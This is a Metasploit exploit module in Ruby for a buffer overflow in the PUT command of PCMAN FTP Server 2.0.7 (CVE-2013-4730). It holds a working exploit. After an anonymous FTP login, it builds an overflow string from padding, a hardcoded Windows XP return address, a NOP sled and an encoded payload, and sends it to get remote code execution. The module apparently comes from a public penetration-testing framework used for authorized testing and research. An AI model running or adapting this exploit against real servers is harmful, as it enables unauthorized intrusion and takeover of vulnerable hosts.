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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = NormalRanking
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  include Msf::Exploit::Remote::Ftp
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        'Name' => 'PCMAN FTP Server Buffer Overflow - PUT Command',
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        'Description' => %q{
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          This module exploits a buffer overflow vulnerability found in the PUT command of the
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          PCMAN FTP v2.0.7 Server. This requires authentication but by default anonymous
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          credentials are enabled.
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        },
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        'Author' => [
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          'Jay Turla', # Initial Discovery -- @shipcod3
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          'Chris Higgins' # msf Module -- @ch1gg1ns
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        ],
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        'License' => MSF_LICENSE,
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        'References' => [
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          [ 'CVE', '2013-4730' ],
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          [ 'EDB', '37731'],
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          [ 'OSVDB', '94624']
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        ],
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        'DefaultOptions' => {
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          'EXITFUNC' => 'process'
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        },
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        'Payload' => {
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          'Space' => 1000,
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          'BadChars' => "\x00\x0A\x0D",
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        },
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        'Platform' => 'win',
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        'Targets' => [
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          [
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            'Windows XP SP3 English',
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            {
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              'Ret' => 0x77c35459, # push esp ret C:\WINDOWS\system32\msvcrt.dll
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              'Offset' => 2007
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            }
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          ],
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        ],
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        'DisclosureDate' => '2015-08-07',
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        'DefaultTarget' => 0,
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        'Notes' => {
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          'Reliability' => UNKNOWN_RELIABILITY,
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          'Stability' => UNKNOWN_STABILITY,
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          'SideEffects' => UNKNOWN_SIDE_EFFECTS
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        }
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      )
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    )
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  end
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  def post_auth?
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    true
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  end
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  def check
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    connect_login
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    disconnect
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    if /220 PCMan's FTP Server 2\.0/ === banner
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      Exploit::CheckCode::Appears
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    else
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      Exploit::CheckCode::Safe
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    end
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  end
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  def exploit
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    connect_login
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    print_status('Generating payload...')
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    sploit = rand_text_alpha(target['Offset'])
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    sploit << [target.ret].pack('V')
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    sploit << make_nops(16)
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    sploit << payload.encoded
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    send_cmd(["PUT", sploit], false)
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    disconnect
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  end
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end
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